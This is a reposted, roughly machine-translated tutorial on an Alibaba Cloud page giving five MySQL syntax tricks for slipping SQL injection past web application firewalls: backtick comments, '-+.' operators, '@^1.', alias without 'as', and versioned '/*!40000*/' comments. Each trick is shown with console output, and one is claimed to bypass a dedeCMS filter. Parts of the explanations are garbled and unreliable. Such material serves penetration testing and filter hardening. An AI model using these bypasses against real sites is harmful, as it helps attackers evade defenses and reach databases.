Several tips for WAF Bypass

Source: Internet
Author: User

In this article, I will share with you several WAF bypass skills. For some tips that everyone knows, such :/*! */, SELECT [0x09, 0x0A-0x0D, 0x20, 0xA0] xx FROM does not recreate the wheel.

Mysql:

Tips1: Magic '(the controller of the output table in the format)

Space and some regular expressions.

 
 
  1. mysql> select`version`()  
  2.     -> ;  
  3. +----------------------+  
  4. | `version`()          |  
  5. +----------------------+  
  6. | 5.1.50-community-log |  
  7. +----------------------+  
  8. 1 row in set (0.00 sec) 

A more interesting technique, this 'control' can be used as a annotator to limit conditions ).

 
 
  1. mysql> select id from qs_admins where id=1;`dfff and comment it;  
  2. +----+  
  3. | id |  
  4. +----+  
  5. |  1 |  
  6. +----+  
  7. 1 row in set (0.00 sec)  
  8.  `>usage : where  id =’0′`’xxxxcomment on.  

Tips2: the magic "-+ .":

 
 
  1. mysql> select id from qs_admins;  
  2. +----+  
  3. | id |  
  4. +----+  
  5. |  1 |  
  6. +----+  
  7. 1 row in set (0.00 sec)  
  8.  
  9. mysql> select+id-1+1.from qs_admins;  
  10. +----------+  
  11. | +id-1+1. |  
  12. +----------+  
  13. |        1 |  
  14. +----------+  
  15. 1 row in set (0.00 sec)  
  16.  
  17. mysql> select-id-1+3.from qs_admins;  
  18. +----------+  
  19. | -id-1+3. |  
  20. +----------+  
  21. |        1 |  
  22. +----------+  
  23. 1 row in set (0.00 sec) 

Some people are not always talking about keywords. Why? Filter A from... That's how it starts)

Tips3 :@

 
 
  1. mysql> select@^1.from qs_admins;  
  2. +------+  
  3. | @^1. |  
  4. +------+  
  5. | NULL |  
  6. +------+ 

This is the bypass dedeCMS filter.

Or the following is also possible:

Tips4: mysql function () as xxx does not need as or space

 
 
  1. mysql> select-count(id)test from qs_admins;  
  2. +------+  
  3. | test |  
  4. +------+  
  5. |   -1 |  
  6. +------+  
  7. 1 row in set (0.00 sec) 

Tips5 :/*! [> 5000] */The new build number may be outdated .)

 
 
  1. mysql> /*!40000select*/ id from qs_admins;  
  2. +----+  
  3. | id |  
  4. +----+  
  5. |  1 |  
  6. +----+  
  7. 1 row in set (0.00 sec) 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.